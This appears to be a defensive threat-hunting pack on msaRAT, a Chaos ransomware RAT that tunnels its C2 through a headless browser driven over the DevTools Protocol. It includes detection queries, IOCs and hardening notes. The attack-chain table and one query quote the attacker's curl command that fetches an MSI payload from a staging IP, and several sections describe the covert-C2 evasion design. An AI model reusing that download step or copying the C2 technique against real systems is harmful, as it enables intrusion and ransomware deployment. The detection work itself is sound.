Chaos Ransomware · msaRAT: Living off the Browser

A Rust implant that never touches the network. It launches its own headless Chrome or Edge, drives it over the Chrome DevTools Protocol, and lets the browser carry the C2 out through Cloudflare Workers and a Twilio TURN relay.
Threat
Chaos RaaS · msaRAT
Severity
ACTIVE RaaS
Type
Rust RAT · Covert C2 · Pre-ransomware
Access
Post-compromise (hands-on-keyboard)
Version
v0.2 · 2026-07-24
Author
HuntPack
Confidence
High (single Tier-1 primary, four corroborating)
01

Executive Summary

Cisco Talos published a technical analysis on 2026-07-23 of msaRAT, a Rust remote access trojan attributed to the Chaos ransomware-as-a-service group. The attacker objective is a command channel that survives network-tier detection: msaRAT is deployed after hands-on-keyboard access is already established, and before the encryptor runs.

The tradecraft is the point. msaRAT locates Chrome or Edge on the victim host, launches its own copy of that browser in headless mode with the CDP remote-debugging port enabled, connects to it over a WebSocket on 127.0.0.1, disables Content Security Policy with Page.setBypassCSP, registers five callbacks with Runtime.addBinding (msaOpen, msaClose, msaError, msaMessage, dataAck) and injects JavaScript with Runtime.evaluate. That JavaScript does all the networking. It pulls STUN/TURN configuration from a Cloudflare Workers endpoint, negotiates a WebRTC DataChannel whose SDP answer deliberately carries no ICE candidates so that every byte is forced through global.turn.twilio.com, and then relays C2 frames that are encrypted twice: DTLS by the browser, plus a ChaCha-Poly1305 layer keyed by an ECDH exchange inside the RAT.

The consequence for defenders is blunt. All network traffic from the RAT process itself is loopback only. Every external byte leaves from a signed, trusted browser process, headed for Cloudflare and Twilio infrastructure that almost every enterprise allowlists. Firewall, proxy and NetFlow tiers see a browser doing browser things.

Delivery is deliberately dull by comparison: curl.exe pulls update_ms.msi into C:\ProgramData from an attacker host, over plain HTTP on TCP/443, which slips past firewall rules that trust the port number without inspecting the protocol. The MSI impersonates a Windows update, and its custom action CA_Run_EA2AEBC3 fires on InstallFinalize to load lib.dll from the MSI Binary table entry Bin_lib_EA2AEBC3 straight into memory. The DLL exports a single function named RUN.

Defender priority: the two published atomic indicators can be rotated tomorrow. The technique cannot. Hunt for chrome.exe or msedge.exe launched with --remote-debugging-port and --headless by a parent that is not a browser and not a sanctioned automation runner (Q1). That single behavioral query survives full infrastructure rotation and is the highest-value detection in this pack.

02

Source Review & Web Hunter Notes

TierSourceKey findingCarry forward
1Cisco Talos, 2026-07-23Primary analysis. Full infection chain, CDP bindings, WebRTC signalling design, ChaCha-Poly1305 plus ECDH, loopback-only RAT egress, ClamAV and Snort coverage.Yes
1Talos IOC repositoryOfficial indicator file. Exactly two entries: the staging IP and the Cloudflare Workers signalling host. No file hashes published.Yes
2The Hacker NewsNames the concrete launch flags (--headless=new, --remote-debugging-port, --user-data-dir) and states the RAT process talks to 127.0.0.1 and nothing else.Yes
2Help Net SecuritySix fixed environment-variable paths for browser discovery, registry fallback for Chrome only. HeadlessChrome user agent is the one network-visible artefact.Yes
2BleepingComputerConfirms ChaCha20-Poly1305 plus ECDH and the deliberate no-P2P TURN routing.Partial
2Security AffairsIndependent restatement. Adds certutil.exe activity in ProgramData as a companion detection signal.Partial
1Talos, Chaos RaaS backgroundGroup context: first confirmed February 2025, big-game hunting, double extortion, spam flood then vishing then Quick Assist then RMM abuse.Yes

Decisions taken

  • No file hashes ship as indicators. Talos published none for lib.dll or update_ms.msi. Secondary reporting refers loosely to "a file hash" in the indicator set, but the official IOC file does not contain one. The IOC appendix therefore carries labelled REPLACE_WITH_ placeholders rather than an invented value.
  • Table 1 and Table 2 of the Talos report are images, so the exact six environment-variable paths and the full browser flag list are not recoverable from the fetched text. Queries are built on the flag names that appear in prose across three sources (--headless, --remote-debugging-port, --user-data-dir) rather than on a reconstructed flag string.
  • Chaos initial access is not covered by this pack. Talos does not state how the analysed host was reached. The group's documented playbook (spam flood, vishing, Quick Assist, RMM tooling) is carried into the hardening section only.
03

Hunt Brief & Attack Chain

Attack chain

#StepTelemetryHunt angle
1Operator already has execution on a Windows host (vishing plus Quick Assist plus RMM, per prior Chaos TTPs)ProcessRollup2, RMM install eventsOut of scope for this pack. Covered in Hardening.
2curl.exe http://172.86.126.18:443/update_ms.msi -o C:\programdata\update_ms.msiProcessRollup2, NetworkConnectIP4Q5, Q6, Q9. Plain HTTP pinned to :443 is an anomaly on its own.
3MSI executed. Custom action CA_Run_EA2AEBC3 fires on InstallFinalizeProcessRollup2 (msiexec), MsiInstaller event logQ7, Q8. MSI executing out of ProgramData.
4lib.dll loaded to memory from MSI Binary table Bin_lib_EA2AEBC3, export RUN calledModule-load telemetry (tenant dependent)GAP In-memory load from an MSI Binary table leaves no file-write event. See Coverage Map.
5Tokio runtime starts. Browser located via environment variables, then registry fallback for ChromeRegGenericValueUpdate reads are not loggedGAP Registry reads are not telemetry. Not huntable.
6Chrome or Edge launched headless via CreateProcessW with the CDP debug port and a malware-chosen user-data-dirProcessRollup2Q1, Q2, Q3, Q4. Highest-value step.
7RAT connects to 127.0.0.1, GETs /json/list/, opens the CDP WebSocket, creates a tabNetworkConnectIP4, NetworkListenIP4Q11. Loopback-only process profile.
8Page.setBypassCSP, five Runtime.addBinding calls, Runtime.evaluate JavaScript injectionCDP message capture (rare)GAP No EDR field carries CDP method names. Native hunt only.
9Browser GETs STUN/TURN config from the Cloudflare Workers endpoint with spoofed Microsoft Origin and Referer headersDnsRequest, proxy logsQ9, Q10. HeadlessChrome user agent at the proxy.
10WebRTC DataChannel established through global.turn.twilio.com, random 5 to 20 character channel name, double encryptionDnsRequest, NetworkConnectIP4Q10. Only meaningful when correlated with Q1.
11Interactive C2. Shell commands, screenshots, file transfer over the DataChannelProcessRollup2 children of the RAT host processGeneric post-exploitation hunting.
12Chaos encryptor staged. Shadow copies and backup catalogs destroyed, ransom note writtenProcessRollup2Q12.

Hunt hypotheses (ordered by fidelity)

#HypothesisMITRETelemetryExpected FPConf
H1A browser binary was started with a CDP remote-debugging port and headless mode by a parent that is neither a browser nor a sanctioned automation runner.T1219, T1071.001ProcessRollup2Puppeteer / Playwright / Selenium CI, PDF render services, Electron shellsHigh
H2A browser was pointed at a user-data directory under ProgramData or a temp path, which no interactive user profile ever does.T1219, T1564ProcessRollup2Kiosk imaging, Citrix profile redirectionHigh
H3A browser process was spawned by msiexec.exe, rundll32.exe or a script host.T1218.007ProcessRollup2First-run browser installersHigh
H4A browser is running under SYSTEM or a service SID, meaning there is no interactive session behind it.T1219, T1564ProcessRollup2Rare. Some kiosk and digital-signage stacksHigh
H5A LOLBin download utility pulled an .msi into C:\ProgramData, which was then installed from that path.T1105, T1218.007ProcessRollup2Software-distribution agents (SCCM, Intune, PDQ, RMM)Medium
H6A command line contains a plain http:// URL explicitly pinned to port 443.T1105, T1571ProcessRollup2Very rare. Some misconfigured internal toolingHigh
H7An unsigned or low-prevalence process holds repeated loopback sessions while a browser it did not previously own is egressing.T1219, T1090.001NetworkConnectIP4Dev tooling, local proxies, agent IPC, DockerMedium
H8A browser process resolved a workers.dev host and a Twilio TURN relay on a host with no interactive browser session.T1071.001, T1090.002DnsRequestHigh. Legitimate WebRTC and real workers.dev SaaSMedium
H9Published msaRAT infrastructure was contacted directly.T1071.001NetworkConnectIP4, DnsRequestNoneHigh (perishable)
H10Shadow copies or backup catalogs were destroyed, indicating the Chaos encryptor is imminent.T1490, T1486ProcessRollup2Backup software pruning its own catalogsHigh
04

Consolidated IOC Table

TypeValueConfActionContextExpiry
ipv4172.86.126.18HighdetectMSI staging host. Serves update_ms.msi over plain HTTP on TCP/443.2027-01-24
domainis-01-ast.ols-img-12.workers.devHighdetectCloudflare Workers endpoint used for WebRTC signalling (SDP offer and answer). Drops out of the path once the DataChannel is live.2027-01-24
url path/update_ms.msiHighhuntDropper path on the staging host.2026-10-24
url path/token/v1/{UID}MediumhuntSignalling endpoint on the Workers host. GET returns ICE config, POST carries the SDP offer.2026-10-24
filenameupdate_ms.msiHighhuntDropper, impersonates a Windows update in its MSI property table.2026-10-24
filenamelib.dllMediumhuntmsaRAT payload. Loaded to memory, so it may never touch disk. Generic name, hunt only.2026-10-24
MSI artefactCA_Run_EA2AEBC3 / Bin_lib_EA2AEBC3HighhuntCustom action name and Binary table entry. Excellent for retro-hunting collected MSI samples.2027-01-24
exportRUNMediumenrichSingle export of lib.dll, called by the MSI custom action.2026-10-24
CDP bindingmsaOpen, msaClose, msaError, msaMessage, dataAckHighhuntFive Runtime.addBinding names. The family is named after them. Strong string-scan signature.2027-01-24
legit infrastun2.l.google.com, global.turn.twilio.comHighenrichAbused legitimate services. Do not block. Value only as correlation context alongside Q1.n/a
user agentHeadlessChromeMediumhuntThe one artefact the network still gets to see, on the signalling requests.2026-10-24
sha256none publishedn/an/aTalos published no hashes. Placeholders only in the import CSV. Do not substitute a guessed value.n/a
vendor sigWin.Downloader.ChaosRaas-10060321-0HighenrichClamAV signature published by Talos.n/a
vendor sigSnort 2: 1:66840, 1:66841, 1:66839 · Snort 3: 1:301587, 1:66839HighenrichTalos SIDs. Confirm these are enabled if you run Snort or Cisco Secure Firewall.n/a

Perishability: both atomic indicators are rented infrastructure. The Workers subdomain is free to reissue and the staging IP is disposable. Treat Q1 through Q4 as the durable detections and these two rows as a fast, cheap retro-sweep.

05

Affected Surface & Telemetry Matrix

SurfaceRequired telemetryPriorityGap risk
Windows endpoints with Chrome or Edge installedProcessRollup2 / SyntheticProcessRollup2 with CommandLine capturedCriticalLow. If command-line capture is off in the sensor policy, the entire pack collapses to Q4 and Q9. Verify first.
Windows Installer serviceProcessRollup2 for msiexec, plus the MsiInstaller application logHighMedium. In-memory Binary-table loads produce no file write.
Host loopback stackNetworkConnectIP4, NetworkListenIP4MediumHigh. Many tenants suppress or sample loopback connection events. Confirm before trusting Q11.
DNS resolution pathDnsRequest with ContextBaseFileNameHighMedium. If DNS is forwarded through a corporate resolver without per-process attribution, Q10 loses its discriminator.
Web proxy / TLS inspectionHTTP request logs with user agent, Origin, RefererMediumHigh. HeadlessChrome user agent is only visible where you terminate or inspect.
Perimeter firewallProtocol-aware inspection, not port-based rulesHighCritical. Plain HTTP on TCP/443 is precisely the case a port-only rule waves through.
Browser management planeChrome and Edge enterprise policy state (GPO or Intune)CriticalLow. This is the single control that removes the technique. See Hardening.
Backup and volume shadow storageProcessRollup2, backup application logsHighLow.
06

ATT&CK Mapping

TacticTechniqueObserved behaviorQuery / control
Command and ControlT1219 Remote Access ToolsHeadless browser driven over CDP acts as the transport for an interactive RAT.Q1, Q2, Q3, Q4, Q11
Command and ControlT1071.001 Application Layer Protocol: Web ProtocolsSignalling over HTTPS to a Cloudflare Workers endpoint with spoofed Microsoft Origin and Referer.Q9, Q10
Command and ControlT1090.002 Proxy: External ProxySDP answer intentionally omits ICE candidates so all traffic is forced through a Twilio TURN relay.Q10
Command and ControlT1573.002 Encrypted Channel: Asymmetric CryptographyECDH key exchange on a 0xFE handshake frame, then ChaCha-Poly1305 inside DTLS.Not directly detectable. Coverage gap.
Command and ControlT1571 Non-Standard PortPlain HTTP served on TCP/443 to defeat port-only firewall rules.Q6, firewall control H-I3
Command and ControlT1102 Web ServiceCloudflare Workers used as a dead-drop signalling relay, then dropped from the path.Q10
Command and ControlT1105 Ingress Tool Transfercurl.exe pulls the MSI into ProgramData.Q5, Q6, Q8, Q9
Defense EvasionT1218.007 System Binary Proxy Execution: MsiexecMSI custom action CA_Run_EA2AEBC3 loads lib.dll from the Binary table into memory.Q3, Q7, Q8
Defense EvasionT1620 Reflective Code LoadingDLL never written to disk. Loaded directly from the MSI Binary table, export RUN.Coverage gap. Native hunt N4.
Defense EvasionT1036.005 Masquerading: Match Legitimate Name or LocationMSI property table impersonates a Windows update. Traffic impersonates Microsoft via Origin and Referer headers.Q7, native hunt N5
Defense EvasionT1562.001 Impair DefensesPage.setBypassCSP disables Content Security Policy in the controlled browser.Coverage gap. Control H-I1 removes the capability.
ExecutionT1059.007 Command and Scripting Interpreter: JavaScriptRuntime.evaluate injects plaintext JavaScript from the binary's .rdata section.Coverage gap. Control H-I1.
DiscoveryT1518 Software DiscoveryBrowser located via six environment-variable paths, then a registry fallback for Chrome.Not huntable. Registry reads are not logged.
ImpactT1490 Inhibit System RecoveryChaos destroys shadow copies and backup catalogs before encrypting.Q12
ImpactT1486 Data Encrypted for ImpactChaos encryptor with multi-threaded selective encryption, plus double extortion.Q12, control H-S2
Initial AccessT1566 Phishing / T1598 VishingPrior Chaos playbook: spam flood, then a voice call impersonating IT, then Quick Assist.Controls H-N1, H-N2
07

Native Audit-Log Hunts (non-CQL)

N1 · Sysmon Event ID 1 (Process Create)

Filter Image ending in chrome.exe or msedge.exe where CommandLine contains --remote-debugging-port. Sysmon adds what Falcon does not: OriginalFileName and the signature fields, which let you separate a genuine Google or Microsoft binary from a renamed copy.

N2 · Sysmon Event ID 3 (Network Connect)

Loopback connections are recorded here even when EDR suppresses them. Look for a non-browser Image connecting to 127.0.0.1 on a high ephemeral port within seconds of a Sysmon EID 1 browser launch on the same host.

N3 · Sysmon Event ID 22 (DNS Query)

Per-process DNS attribution for workers.dev and turn.twilio.com lookups. This is the fallback when Falcon DnsRequest lacks process context in your tenant.

N4 · Windows Application log, source MsiInstaller

Event IDs 1033 (product installed) and 11707 (install completed successfully) record the product name from the MSI property table. Hunt for products claiming to be a Windows update that were installed from C:\ProgramData, and cross-check against your patching system's own inventory. Anything the patch system did not install is a lead.

N5 · Proxy / TLS-inspection logs

Requests carrying a HeadlessChrome user agent. Then, on those same requests, an Origin or Referer claiming a Microsoft site while the destination host is a workers.dev subdomain. That mismatch is the single best network-tier signal in this campaign.

N6 · Perimeter firewall / IDS

Any session where the negotiated protocol is plain HTTP but the destination port is 443. Confirm Talos Snort SIDs 1:66839, 1:66840, 1:66841 (Snort 2) and 1:301587, 1:66839 (Snort 3) are enabled, and that ClamAV signature Win.Downloader.ChaosRaas-10060321-0 is current.

N7 · Browser policy audit

On a sample of endpoints, read chrome://policy and edge://policy (or the registry keys in Playbook P1) and confirm RemoteDebuggingAllowed is present and set to Disabled. A host where the policy is absent is a host where this technique still works.

N8 · Retro-hunt collected MSI samples

Any MSI held in your sandbox or mail-gateway archive: dump the CustomAction and Binary tables and string-search for CA_Run_ prefixed actions paired with a Bin_lib_ Binary entry, and for exports named RUN. Also string-scan for the five binding names msaOpen, msaClose, msaError, msaMessage, dataAck.

08

CrowdStrike LogScale CQL Hunt Queries

Pick your tenant's cloud first — every "Open in Falcon" button below uses this selection.
Q1 · Headless browser with a CDP debug port, non-browser parent FLAGSHIP
CONF HIGHFP MEDCOST LOW

Looks for: the one step msaRAT cannot rotate away. A browser binary started in headless mode with the CDP remote-debugging port enabled, by a parent that is not itself a browser. FP: browser-automation frameworks do exactly this. Baseline your CI and QA fleet first, then exclude those parents and hostnames, not the technique.

// HUNT: Chrome/Edge launched headless with a CDP debug port by a non-browser parent
// MITRE: T1219 · T1071.001 · T1562.001
// CONF: high  FP: medium  COST: low | REQUIRES: ProcessRollup2 with CommandLine capture
// FALSE POSITIVES: Puppeteer/Playwright/Selenium runners, Electron shells, PDF render services
#event_simpleName=/^(Synthetic)?ProcessRollup2$/
| FileName=/^(chrome|msedge)\.exe$/i
| CommandLine=/--remote-debugging-(port|pipe)/i
| CommandLine=/--headless/i
| ParentBaseFileName!=/^(chrome|msedge|firefox|brave|opera|explorer|userinit)\.exe$/i
// TUNING: baseline 14 days, then exclude only the parents you can name and justify
// TUNING: | ParentBaseFileName!=/^(node|python|pwsh|java|dotnet)\.exe$/i
// TUNING: | ComputerName!=/^(BUILD|CI|QA)-/i
| table([@timestamp, ComputerName, UserName, ParentBaseFileName, FileName, CommandLine, SHA256HashData], limit=200)
Q2 · Browser pointed at a user-data-dir in ProgramData or a temp path
CONF HIGHFP MEDCOST LOW

Looks for: msaRAT supplies its own profile directory so the hijacked browser never touches the user's real profile. No interactive user session ever runs a browser out of ProgramData. FP: kiosk imaging and Citrix profile redirection can legitimately relocate the profile. Confirm the path against your VDI standard before dismissing a hit.

// HUNT: Browser launched with a --user-data-dir under ProgramData or a temp path
// MITRE: T1219 · T1564
// CONF: high  FP: medium  COST: low | REQUIRES: ProcessRollup2
// FALSE POSITIVES: kiosk/imaging tooling, Citrix profile redirection, packaged browser tests
#event_simpleName=/^(Synthetic)?ProcessRollup2$/
| FileName=/^(chrome|msedge)\.exe$/i
| CommandLine=/--user-data-dir/i
| CommandLine=/(programdata|\\temp\\|\\appdata\\local\\temp|\\windows\\temp|\\public\\)/i
// TUNING: exclude your VDI profile root only, never the whole ProgramData branch
// TUNING: | CommandLine!=/--user-data-dir=.{0,120}\\Citrix\\/i
| table([@timestamp, ComputerName, UserName, ParentBaseFileName, CommandLine], limit=200)
Q3 · Browser spawned by an installer, script host or download utility
CONF HIGHFP LOWCOST LOW

Looks for: the direct parent relationship in the msaRAT chain. The MSI custom action loads the RAT in-process under msiexec.exe, so the browser it launches is a child of msiexec. Catches the technique even if the flags change.

// HUNT: Browser process spawned by msiexec, rundll32, a script host or a download tool
// MITRE: T1218.007 · T1219
// CONF: high  FP: low  COST: low | REQUIRES: ProcessRollup2
// FALSE POSITIVES: MSI-packaged browser installers launching the browser once at first run
#event_simpleName=/^(Synthetic)?ProcessRollup2$/
| FileName=/^(chrome|msedge)\.exe$/i
| ParentBaseFileName=/^(msiexec|rundll32|wscript|cscript|mshta|curl|certutil|regsvr32)\.exe$/i
// TUNING: first-run installer launches carry a make-default or welcome-page argument
// TUNING: | CommandLine!=/--make-default-browser/i
| table([@timestamp, ComputerName, UserName, ParentBaseFileName, FileName, CommandLine], limit=200)
Q4 · Chrome or Edge running under SYSTEM or a service SID
CONF HIGHFP LOWCOST LOW

Looks for: a browser with no human behind it. If the operator ran msaRAT from a service or an elevated RMM context, the browser it spawns inherits SYSTEM (S-1-5-18), LOCAL SERVICE (S-1-5-19) or NETWORK SERVICE (S-1-5-20). This query needs no command line, so it still works where command-line capture is disabled.

// HUNT: Browser process running as SYSTEM / LOCAL SERVICE / NETWORK SERVICE
// MITRE: T1219 · T1564
// CONF: high  FP: low  COST: low | REQUIRES: ProcessRollup2 (no CommandLine needed)
// FALSE POSITIVES: rare. Some kiosk and digital-signage stacks run a browser as a service.
#event_simpleName=/^(Synthetic)?ProcessRollup2$/
| FileName=/^(chrome|msedge)\.exe$/i
| UserSid=/^S-1-5-(18|19|20)$/
// TUNING: | ComputerName!=/^(KIOSK|SIGNAGE)-/i
| table([@timestamp, ComputerName, UserSid, ParentBaseFileName, FileName, CommandLine], limit=200)
Q5 · curl / certutil / bitsadmin pulling an MSI into ProgramData
CONF HIGHFP LOWCOST LOW

Looks for: the exact delivery step. curl.exe http://172.86.126.18:443/update_ms.msi -o C:\programdata\update_ms.msi. Written broadly enough to catch the same pattern with certutil or bitsadmin and a rotated host.

// HUNT: LOLBin download utility fetching an .msi into ProgramData
// MITRE: T1105 · T1218.007
// CONF: high  FP: low  COST: low | REQUIRES: ProcessRollup2
// FALSE POSITIVES: a small number of packaging agents stage MSIs this way. Name them, then exclude them.
#event_simpleName=/^(Synthetic)?ProcessRollup2$/
| FileName=/^(curl|certutil|bitsadmin|wget)\.exe$/i
| CommandLine=/\.msi/i
| CommandLine=/programdata/i
// TUNING: | ParentBaseFileName!=/^(ccmexec|intunemanagementextension|pdqdeployrunner)\.exe$/i
| table([@timestamp, ComputerName, UserName, ParentBaseFileName, FileName, CommandLine], limit=200)
Q6 · Plain-HTTP URL pinned to port 443 in a command line
CONF HIGHFP LOWCOST LOW

Looks for: the protocol and port mismatch that lets the download cross a port-only firewall rule. http:// explicitly pinned to :443 is almost never legitimate and is independent of the specific host, so it survives infrastructure rotation.

// HUNT: Plain-HTTP URL explicitly pinned to port 443 in any process command line
// MITRE: T1105 · T1571
// CONF: high  FP: low  COST: low | REQUIRES: ProcessRollup2
// FALSE POSITIVES: rare. Some internal tooling and health-check scripts are misconfigured this way.
#event_simpleName=/^(Synthetic)?ProcessRollup2$/
| CommandLine=/http:\/\/[^\s]+:443/i
// TUNING: | CommandLine!=/http:\/\/(localhost|127\.0\.0\.1):443/i
| table([@timestamp, ComputerName, UserName, FileName, ParentBaseFileName, CommandLine], limit=200)
Q7 · msiexec installing a package from a user-writable directory
CONF MEDFP MEDCOST LOW

Looks for: step 3 of the chain. An MSI installed out of ProgramData, a user profile, Windows\Temp or Public. FP: software-distribution agents stage MSIs in ProgramData all day. Exclude by parent process, never by path, or you will exclude the attack along with the noise.

// HUNT: msiexec.exe installing from a user-writable directory
// MITRE: T1218.007 · T1036.005
// CONF: medium  FP: medium  COST: low | REQUIRES: ProcessRollup2
// FALSE POSITIVES: SCCM, Intune, PDQ, Ninja and other agents that stage MSIs under ProgramData
#event_simpleName=/^(Synthetic)?ProcessRollup2$/
| FileName=/^msiexec\.exe$/i
| CommandLine=/(\\programdata\\|\\users\\|\\windows\\temp\\|\\public\\)/i
// TUNING: exclude by PARENT, not by path. The path is the signal.
// TUNING: | ParentBaseFileName!=/^(ccmexec|intunemanagementextension|pdqdeployrunner|ninjarmmagent)\.exe$/i
| table([@timestamp, ComputerName, UserName, ParentBaseFileName, FileName, CommandLine], limit=200)
Q8 · One host: download utility plus MSI install against ProgramData
CONF MEDFP MEDCOST MED

Looks for: the download and the install as a pair on the same host inside one search window, which is far more specific than either half alone. FP: patch agents do download-then-install legitimately. The discriminator is the parent process in the collected rows, so read the collect output before triaging.

// HUNT: Same host runs a download utility AND an MSI install touching ProgramData
// MITRE: T1105 · T1218.007
// CONF: medium  FP: medium  COST: medium | REQUIRES: ProcessRollup2
// FALSE POSITIVES: patch and packaging agents that download then install from ProgramData
#event_simpleName=/^(Synthetic)?ProcessRollup2$/
| FileName=/^(curl|certutil|bitsadmin|wget|msiexec)\.exe$/i
| CommandLine=/programdata/i
| groupBy([ComputerName], function=[collect([FileName, ParentBaseFileName, CommandLine], limit=25), count(field=FileName, distinct=true, as=DistinctTools)])
| DistinctTools >= 2
// TUNING: run over a 24h window first. Widening past 7d inflates cost with no fidelity gain.
// TUNING: drop hosts whose collected rows show only your patch agent as the parent
| sort(DistinctTools, order=desc, limit=200)
Q9 · Published msaRAT infrastructure (atomic sweep)
CONF HIGHFP LOWCOST LOW

Looks for: direct contact with the two indicators Talos published. Run this once over the maximum retention you have, then stop relying on it. Both values are disposable.

// HUNT: Direct hits on published msaRAT infrastructure (retro-sweep)
// MITRE: T1071.001 · T1105
// CONF: high  FP: low  COST: low | REQUIRES: NetworkConnectIP4, DnsRequest
// FALSE POSITIVES: none. Any hit is an incident.
#event_simpleName=/^(NetworkConnectIP4|DnsRequest)$/
| RemoteAddressIP4="172.86.126.18" or DomainName=/ols-img-12\.workers\.dev$/i
// TUNING: not required. Escalate every hit directly.
| table([@timestamp, ComputerName, ContextBaseFileName, RemoteAddressIP4, RemotePort, DomainName], limit=200)
Q10 · Browser DNS for workers.dev signalling plus Twilio TURN
CONF MEDFP HIGHCOST MED

Looks for: the browser-side half of the C2. FP: genuinely high on its own. Twilio TURN carries real WebRTC for real products, and workers.dev is Cloudflare's shared deployment domain issued to every Workers account. Do not block either. This query is only worth alerting on when the same host and time window also matches Q1 or Q4, meaning the browser had no user session behind it.

// HUNT: Browser resolving a workers.dev signalling host and a Twilio TURN relay
// MITRE: T1071.001 · T1090.002 · T1102
// CONF: medium  FP: high  COST: medium | REQUIRES: DnsRequest with ContextBaseFileName
// FALSE POSITIVES: Teams, Zoom, Twilio Video and any real WebRTC app. Real workers.dev SaaS.
#event_simpleName=/^DnsRequest$/
| DomainName=/(\.workers\.dev|turn\.twilio\.com)$/i
| ContextBaseFileName=/^(chrome|msedge)\.exe$/i
| groupBy([ComputerName, ContextBaseFileName, DomainName], function=count(as=Lookups))
// TUNING: allowlist the workers.dev hosts your business actually uses, then review the remainder
// TUNING: | DomainName!=/^(status|api)\.example\.workers\.dev$/i
// TUNING: only escalate hosts that also appear in Q1 or Q4 in the same window
| sort(Lookups, order=desc, limit=200)
Q11 · Loopback-heavy non-browser process (CDP client pattern)
CONF MEDFP HIGHCOST MED

Looks for: the RAT's own network profile. Talos states every connection the msaRAT process makes is to 127.0.0.1, because the browser does all the external work. A process whose entire network footprint is loopback, sitting next to a browser that is egressing, is the shape of this implant. FP: very high in isolation. Dev tooling, local proxies, agent IPC and Docker all look like this. Baseline before you alert.

// HUNT: Non-browser process holding repeated loopback sessions (CDP client shape)
// MITRE: T1219 · T1090.001
// CONF: medium  FP: high  COST: medium | REQUIRES: NetworkConnectIP4 with loopback retained
// FALSE POSITIVES: dev tooling, local proxies, EDR/agent IPC, DB clients, Docker Desktop
#event_simpleName=/^NetworkConnectIP4$/
| RemoteAddressIP4="127.0.0.1"
| ContextBaseFileName!=/^(chrome|msedge|firefox|svchost|code|node|python|teams|outlook|slack)\.exe$/i
| groupBy([ComputerName, ContextBaseFileName], function=[count(as=LoopbackConns), collect([RemotePort], limit=15)])
| LoopbackConns > 5
// TUNING: baseline 7 days and keep only ContextBaseFileName values seen on under 1% of hosts
// TUNING: | ContextBaseFileName!=/^(com\.docker\.backend|ssh|mysqld|nginx)\.exe$/i
// TUNING: confirm your sensor policy retains loopback connections before trusting an empty result
| sort(LoopbackConns, order=desc, limit=200)
Q12 · Chaos follow-on: shadow copy and backup destruction
CONF HIGHFP MEDCOST LOW

Looks for: the step that follows msaRAT. If this fires you are minutes from encryption, not hours. FP: backup products prune their own catalogs on a schedule. Exclude the specific backup agent parent, then treat everything else as an incident.

// HUNT: Shadow copy / backup catalog destruction ahead of the Chaos encryptor
// MITRE: T1490 · T1486
// CONF: high  FP: medium  COST: low | REQUIRES: ProcessRollup2
// FALSE POSITIVES: backup software pruning its own catalogs, imaging and sysprep workflows
#event_simpleName=/^(Synthetic)?ProcessRollup2$/
| FileName=/^(vssadmin|wmic|wbadmin|bcdedit|powershell|pwsh|diskshadow)\.exe$/i
| CommandLine=/(delete\s+shadows|shadowcopy\s+delete|delete\s+catalog|recoveryenabled\s+no|ignoreallfailures|win32_shadowcopy)/i
// TUNING: exclude only your named backup agent as the parent process
// TUNING: | ParentBaseFileName!=/^(veeam|backupexec|acronis|commvault)[a-z]*\.exe$/i
| table([@timestamp, ComputerName, UserName, ParentBaseFileName, FileName, CommandLine], limit=200)

Field note: every field used above is a standard Falcon data-model field. RemotePort and ContextProcessId exist in both string and _decimal forms depending on repo and sensor version. If a numeric comparison on RemotePort returns nothing in Q11, switch to RemotePort_decimal. Loopback retention in NetworkConnectIP4 is tenant-configurable, so ⚠ validate in tenant before treating an empty Q11 result as a clean bill of health.

09

CrowdStrike Custom IOA Recommendations

Three of the twelve queries are strong enough to promote to Custom IOAs. The rest stay as scheduled hunts.

IOA-1 · Browser started with a CDP remote-debugging port by a non-browser parent

FieldValue
Rule groupWindows · Process Creation
ActionStart with Detect at Medium. Promote to High after 14 days of clean baseline. Do not set Prevent until your automation fleet is fully excluded.
Image filename.*\\(chrome|msedge)\.exe
Command line.*--remote-debugging-(port|pipe).*
Parent image filenameExclude .*\\(chrome|msedge|firefox|explorer)\.exe
ExclusionsNamed CI, QA and build hosts. Named automation parents (node, python, java, dotnet) only where browser automation is an approved business process.
Deployment pathEndpoint security > Custom IOA rule groups > new Windows rule group > assign to a pilot host group first.

IOA-2 · Browser process spawned by msiexec or rundll32

FieldValue
Rule groupWindows · Process Creation
ActionDetect at High. This has no legitimate steady-state analogue outside a first-run installer.
Image filename.*\\(chrome|msedge)\.exe
Parent image filename.*\\(msiexec|rundll32|mshta|wscript|cscript)\.exe
ExclusionsCommand line containing --make-default-browser, for the browser-installer first-run case.

IOA-3 · Plain-HTTP URL pinned to port 443

FieldValue
Rule groupWindows · Process Creation
ActionDetect at Medium. Cheap, host-independent, and it survives infrastructure rotation.
Command line.*http://[^ ]+:443.*
ExclusionsLoopback and localhost targets.

Investigate-only: Q8, Q10 and Q11 must not become IOAs. Q10 and Q11 fire on legitimate infrastructure and legitimate local IPC, and Q8 is an aggregation that has no single-event form. Run them as scheduled searches feeding a hunt queue, and correlate their output against IOA-1 hits.

10

Machine-Readable IOC Appendix

Falcon IOC Management CSVbulk import
type,value,action,severity,expiration,description,tags
ipv4,172.86.126.18,detect,high,2027-01-24,msaRAT MSI staging host (plain HTTP on TCP/443),campaign:ChaosMsaRAT
domain,is-01-ast.ols-img-12.workers.dev,detect,high,2027-01-24,msaRAT WebRTC signalling relay,campaign:ChaosMsaRAT
sha256,REPLACE_WITH_LIBDLL_SHA256,prevent,critical,2027-01-24,msaRAT lib.dll payload (no hash published by Talos),campaign:ChaosMsaRAT
sha256,REPLACE_WITH_UPDATEMSMSI_SHA256,prevent,critical,2027-01-24,update_ms.msi dropper (no hash published by Talos),campaign:ChaosMsaRAT
# DO NOT IMPORT: stun2.l.google.com and global.turn.twilio.com are legitimate services.
# Blocking them breaks real WebRTC. Use them as correlation context only.
# workers.dev is Cloudflare shared infrastructure. Block the single host above, never the parent domain.
Behavioral Signaturessurvives rotation
BEHAVIOR-1  chrome.exe|msedge.exe launched with --remote-debugging-port AND --headless
            by a parent that is not a browser  (highest value, technique-level)
BEHAVIOR-2  chrome.exe|msedge.exe launched with --user-data-dir under
            C:\ProgramData, %TEMP%, C:\Windows\Temp or C:\Users\Public
BEHAVIOR-3  chrome.exe|msedge.exe whose parent is msiexec.exe or rundll32.exe
BEHAVIOR-4  chrome.exe|msedge.exe running under S-1-5-18 / S-1-5-19 / S-1-5-20
BEHAVIOR-5  Any command line containing an http:// URL pinned to :443
BEHAVIOR-6  A process whose ENTIRE network footprint is 127.0.0.1 while a browser
            it spawned egresses to Cloudflare and Twilio
BEHAVIOR-7  MSI installed from C:\ProgramData whose product name claims to be a
            Windows update, with no matching record in the patch system
BEHAVIOR-8  HTTP request with a HeadlessChrome user agent whose Origin/Referer
            claims a Microsoft site but whose destination is a workers.dev host
Named Malware & Toolingstring scan
